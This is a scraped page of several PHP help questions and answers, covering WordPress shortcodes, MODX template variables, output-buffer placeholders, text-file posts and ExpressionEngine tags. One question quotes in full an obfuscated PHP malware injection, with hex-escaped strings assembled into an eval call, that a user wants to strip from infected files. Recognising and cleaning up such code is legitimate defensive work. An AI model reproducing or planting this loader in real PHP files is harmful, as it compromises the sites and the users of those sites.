PHP Wordpress gallery not finding the XMLl file - php

The code is below - it uses a wordpress shortcode which is [my_hmg=widget.xml] but if you try change the xml file like this [my_hmg=example_gallery.xml] it just always reverts to the default widget.xml
The problem is in the function my_hmg_filter_Callback in particular these 2 lines;
#$my_hmg_file = #$output['filename'];
if($my_hmg_file==""){$my_hmg_file = "widget.xml";}
For some reason it always thinks the file name is blank so always reverts to widget.xml.
The files can be downloaded from here - http://www.gopiplus.com/work/2010/07/18/horizontal-motion-gallery/
function my_hmg_show_filter($content){
return preg_replace_callback('/\[my_hmg=(.*?)\]/sim','my_hmg_filter_Callback',$content);
}
function my_hmg_filter_Callback($matches)
{
$my_hmg_package = "";
$var = $matches[1];
parse_str($var, $output);
#$my_hmg_file = #$output['filename'];
if($my_hmg_file==""){$my_hmg_file = "widget.xml";
}


Firstly change the short code to [my_hmg file='file.xml']
Then if you have a quick read of Wordpress's short code API you'll see that the first argument in the callback function are the attributes of the short code.
This way you can the reference the attribute 'file' in the array and get the proper url.

Related

get template variable value on each page modx revolution

I use modx and, to be honest, I am new to this CMS. I want to show corresponding Template Variable's value on each page. Here is my code written in the snippet:
<?php
if ( isset($modx->documentObject['PDF-Resource-Url'][1]) && !empty($modx->documentObject['PDF-Resource-Url'][1]) ) {
echo '<li class="related-link slide expanded">Pdf</li>';
}
?>
But it returns empty output. I use the latest version of modx revolution. I think that maybe this is the reason why I see empty output.
Thanks for helping!

It looks like you're using methods from MODX Evolution. Revolution is different so it would be a good idea to familiarise yourself with the documentation. I've provided some links below.
To get a template variable value using the API is simple:
$value = $modx->resource->getTVValue('tv-name');
$modx->resource always contains the object for the current resource.
Your example would become:
$output = '';
$url = $modx->resource->getTVValue('PDF-Resource-Url');
if (!empty($url)) {
$output = '<li class="related-link slide expanded">Pdf</li>';
}
// always return output rather than echoing to page
return $output;
How to get the current resource object:
http://rtfm.modx.com/revolution/2.x/making-sites-with-modx/structuring-your-site/resources
How to retrieve template variables:
http://rtfm.modx.com/revolution/2.x/making-sites-with-modx/customizing-content/template-variables/accessing-template-variable-values-via-the-api
Basic snippet development:
http://rtfm.modx.com/revolution/2.x/developing-in-modx/basic-development/snippets

PHP replace {replace_me} with <?php include ?> in output buffer

I have a file like this
**buffer.php**
ob_start();
<h1>Welcome</h1>
{replace_me_with_working_php_include}
<h2>I got a problem..</h2>
ob_end_flush();
Everything inside the buffer is dynamically made with data from the database.
And inserting php into the database is not an option.
The issue is, I got my output buffer and i want to replace '{replace}' with a working php include, which includes a file that also has some html/php.
So my actual question is: How do i replace a string with working php-code in a output-buffer?
I hope you can help, have used way to much time on this.
Best regards - user2453885
EDIT - 25/11/14
I know wordpress or joomla is using some similar functions, you can write {rate} in your post, and it replaces it with a rating system(some rate-plugin). This is the secret knowledge I desire.

You can use preg_replace_callback and let the callback include the file you want to include and return the output. Or you could replace the placeholders with textual includes, save that as a file and include that file (sort of compile the thing)

For simple text you could do explode (though it's probably not the most efficient for large blocks of text):
function StringSwap($text ="", $rootdir ="", $begin = "{", $end = "}") {
// Explode beginning
$go = explode($begin,$text);
// Loop through the array
if(is_array($go)) {
foreach($go as $value) {
// Split ends if available
$value = explode($end,$value);
// If there is an end, key 0 should be the replacement
if(count($value) > 1) {
// Check if the file exists based on your root
if(is_file($rootdir . $value[0])) {
// If it is a real file, mark it and remove it
$new[]['file'] = $rootdir . $value[0];
unset($value[0]);
}
// All others set as text
$new[]['txt'] = implode($value);
}
else
// If not an array, not a file, just assign as text
$new[]['txt'] = $value;
}
}
// Loop through new array and handle each block as text or include
foreach($new as $block) {
if(isset($block['txt'])) {
echo (is_array($block['txt']))? implode(" ",$block['txt']): $block['txt']." ";
}
elseif(isset($block['file'])) {
include_once($block['file']);
}
}
}
// To use, drop your text in here as a string
// You need to set a root directory so it can map properly
StringSwap($text);

I might be misunderstanding something here, but something simple like this might work?
<?php
# Main page (retrieved from the database or wherever into a variable - output buffer example shown)
ob_start();
<h1>Welcome</h1>
{replace_me_with_working_php_include}
<h2>I got a problem..</h2>
$main = ob_get_clean();
# Replacement
ob_start();
include 'whatever.php';
$replacement = ob_get_clean();
echo str_replace('{replace_me_with_working_php_include}', $replacement, $main);
You can also use a return statement from within an include file if you wish to remove the output buffer from that task too.
Good luck!

Ty all for some lovely input.
I will try and anwser my own question as clear as I can.
problem: I first thought that I wanted to implement a php-function or include inside a buffer. This however is not what I wanted, and is not intended.
Solution: Callback function with my desired content. By using the function preg_replace_callback(), I could find the text I wanted to replace in my buffer and then replace it with whatever the callback(function) would return.
The callback then included the necessary files/.classes and used the functions with written content in it.
Tell me if you did not understand, or want to elaborate/tell more about my solution.

Find and replace a string in multiple files in whole server

My server gets malware which was inserted a bunch of lines code in every php file now I want to remove that using a script. So initially I am trying to find and replace in a single file and later I will try for all the php files.
<?php
$oldMessage = "$udpyrtpnkn = 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chr(ord($n)-1);} #error_reporting(0); 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{ $GLOBALS[\"%x61%7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-buc%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnbE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x2#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5cj%x5c%x7825-bubE{h%x5c%x|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860x28%141%x72%162%x61%171%x5f%155%x61%165c%x78242178}527}88:}334}472%x5c%x7824<!%x5c%xe]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9])!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%xj6<^#Y#%x5c%x785cq%x5c%x7825oj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%xf%x5c%x7827,*e%x5c%x7827,*d7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[Ax5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c52]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x7%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y7d2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j5z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%xif((function_exists(\"%x6f%142%x5f%163%%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}65c%x785c%x5c%x7825j:^<!%x5c%x7825w%x%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftm%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x78247825#%x5c%x782f#o]#%xsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssuc%x7878:!>#]y3g]61]y3f]63]y3:]68]y]88]5]48]32M3]317]445]212]445]43]321]4%x5c%x7825)}k~~~<ftmbg!o787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)f%x7825)!gj!<**2-4-bubE{>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%xufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c7827)fepdof.)fepdof.%x5c%x782f###%x5c%x782fqp%x5c%x75tzw>!#]y76]277]y72]265]y39]274]y85]2x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x78255c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785c#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x#%x5c%x782f#%x5c%x782wN;#-Ez-1H*WCw*[!%x5c%x78f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!6<%x5c%x787fw6*CW&)7gj6<827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f3tpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]5%x7827u%x5c%x7825)7fmji%x5c%x7878627;mnui}&;zepc}A;~!}%x5x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d/(.*)/epreg_replacebsupukrgnh'; $mrvphzdexz = explode(chr((205-161)),'8660,38,4858,43,7465,40,4822,36,2103,55,110,61,5905,24,7852,38,5828,27,6847,35,2874,70,8962,34,5476,23,3943,35,4777,45,5691,35,1721,47,171,55,2513,70,49,61,9608,24,9938,62,9820,34,5929,53,5395,45,373,39,3368,28,921,48,7810,42,507,21,2180,38,9632,38,1768,47,6937,62,1044,30,3009,59,9384,64,7404,61,8045,28,5781,22,4170,59,4709,68,2730,63,6564,62,9058,43,9727,45,2434,46,4128,42,6806,41,8150,58,8698,62,6173,46,6037,57,7151,21,3978,23,2158,22,4658,51,5243,47,9194,37,4229,63,9034,24,3288,22,6718,38,8073,50,7505,48,7596,58,7705,40,5982,55,1548,51,7745,24,1074,68,2081,22,9101,23,6882,30,5566,56,7553,43,3573,70,5134,49,866,26,7255,61,969,41,561,37,3534,39,6626,56,8123,27,2698,32,9231,52,6467,64,4387,49,4292,43,2480,33,4469,21,1815,43,8907,55,1212,49,8416,43,5726,35,2018,63,5499,67,5622,32,412,34,2218,42,4058,70,8796,46,686,48,3663,43,9502,21,9548,60,10051,55,10000,51,7769,41,7316,68,1652,69,9320,64,8004,41,5183,60,2583,41,2678,20,2260,63,6256,68,8250,66,762,56,4335,52,9854,23,3762,65,1858,28,3422,54,8886,21,6219,37,3396,26,9283,37,1261,66,9877,61,1010,34,1927,21,3889,54,1461,23,5761,20,1599,53,656,30,4490,54,4544,36,6756,50,6324,24,9772,48,8316,56,8595,65,7199,56,3264,24,7890,46,7384,20,4436,33,5803,25,6348,65,4030,28,1886,41,8842,44,5290,47,818,48,8208,42,1142,70,446,61,6531,33,8459,43,9124,70,6682,36,2793,37,3211,53,6120,53,2830,44,3643,20,5337,58,3476,58,1391,70,6413,54,7172,27,9523,25,3333,35,6912,25,3157,54,7654,51,3731,31,6094,26,5440,36,226,35,2624,54,7936,68,1948,40,3310,23,3857,32,4901,69,3090,67,2412,22,3706,25,1484,64,4001,29,3068,22,5855,50,892,29,5035,53,8996,38,5654,37,9670,57,1327,64,528,33,7067,47,7114,37,8560,35,598,58,4970,65,8760,36,2944,65,261,67,3827,30,8502,58,5088,33,328,45,734,28,4635,23,9448,54,4580,55,8372,44,0,49,2323,45,6999,68,1988,30,2368,44,5121,13'); $wtnsmruwng=substr($udpyrtpnkn,(48065-37959),(24-17)); if (!function_exists('rczvdpjblj')) { function rczvdpjblj($syascgyczg, $weichsdvue) { $lilckbfxmb = NULL; for($xoosaeyubj=0;$xoosaeyubj<(sizeof($syascgyczg)/2);$xoosaeyubj++) { $lilckbfxmb .= substr($weichsdvue, $syascgyczg[($xoosaeyubj*2)],$syascgyczg[($xoosaeyubj*2)+1]); } return $lilckbfxmb; };} $jmmhxfkfmg=\"\x20\57\x2a\40\x67\146\x6b\170\x62\156\x62\144\x6d\170\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x31\55\x31\67\x34\51\x29\54\x20\143\x68\162\x28\50\x33\61\x33\55\x32\62\x31\51\x29\54\x20\162\x63\172\x76\144\x70\152\x62\154\x6a\50\x24\155\x72\166\x70\150\x7a\144\x65\170\x7a\54\x24\165\x64\160\x79\162\x74\160\x6e\153\x6e\51\x29\51\x3b\40\x2f\52\x20\153\x62\154\x6e\167\x7a\161\x71\147\x6b\40\x2a\57\x20\"; $yofbztmjsc=substr($udpyrtpnkn,(68058-57945),(58-46)); $yofbztmjsc($wtnsmruwng, $jmmhxfkfmg, NULL); $yofbztmjsc=$jmmhxfkfmg; $yofbztmjsc=(449-328); $udpyrtpnkn=$yofbztmjsc-1;";
$deletedFormat = "";
//read the entire string
$str=file_get_contents('wp-load.php');
//replace something in the file string - this is a VERY simple example
$str=str_replace("$oldMessage", "$deletedFormat", $str);
file_put_contents('wp-load.php', $str);
?>
But this was giving me error can any one give suggestions how to do this and remove this malware?

For wordpress malware there is a plugin available.
Wordfence is a plugin which will find malicious code in your whole wordpress site and removes it also.
May be this will help you and save you time.

Using text from a file to point to another file to read

Note: I'm sorry if the title was a little unclear couldn't think of another way to put it.
I am making a PHP posting system for a blog like website. I have a file called posts.txt which has information that points to other text files. These other text files have the physical post content in them. I know this is not the best way to do it but for now this is what I'm doing.
A sample of the posts.txt:
posts/topDownShooter.txt
posts/leapMotionSandbox.txt
end
The first two lines point to other text files that contain post content. The last line "end" lets the program know that all the post "pointers" are done
Here is a sample of a post like topDownShooter.txt
programming
Top Down Shooter
The actual post content goes here
end
The first line is a tag for organization. The second line is the title of the post. And the third is the actual content. The last line serves the same purpose.
Here is my PHP code:
I use "<--" for comments
<?php
$posts = "posts/posts.txt"; <--Pointer to the location of the posts.txt
$postsLines = file($posts);
$fetchingPost = TRUE; <--For while loop
$postNumber = 0;
$postPointer; <--In the example of posts.txt this would be the second or third line
$postTag;
$postTitle;
$postContent;
$endCondition = "end";
while ($fetchingPost == TRUE) {
$endOfFile = strcmp($postsLines[$postNumber], $endCondition);
if ($endOfFile == 0) {
$fetchingPost = FALSE;
}
if ($endOfFile <> 0) {
$postPointer[$postNumber] = $postsLines[$postNumber];
$postTag[$postNumber] = file($postPointer[$postNumber]); <--The problem, see below
$postNumber = $postNumber + 1;
}
}
?>
The Problem: It will not let me use a line that I take out of posts.txt as a "pointer" for accessing topDownShooter.txt or anything like that. I thought that the value I was pulling out of posts.txt was a string but it is not. Is there anyway that I can convert this to a string or make it work?
EDIT:
in short:
is there anyway to take something from $postsLines = file("somerandomtxtfile.txt); and make %postsLines[0] a string?

I'm not sure if I understand your question, but I'd try replacing the line by this
$postTag[$postNumber] = file_get_contents($postPointer[$postNumber]);
Answering the question in your edit, you can do that like this:
$postLines = explode(PHP_EOL, file_get_contents("somerandomtxtfile.txt"));

Process Tags in Plugin

I have an Expression Engine plugin that has a file parameter for example:
{exp:my_plugin file='/css/css.js'}
I can get the parameter in the plugin using
$file = $this->EE->TMPL->fetch_param('file');
Is there a way to process $file to replace any tags, i.e. global variables and snippets, so that I could do something like:
{exp:my_plugin file='{global_path}/css.js'}
And have {global_path} be replaced with the value of global path?

In your plugin, you can parse the parameter to match global variables:
$value = $this->_ee->TMPL->fetch_param('value', '');
$value = $this->_ee->TMPL->parse_globals($value);
You can find an example in https://github.com/pvledoux/Pvl_checkif/zipball/master

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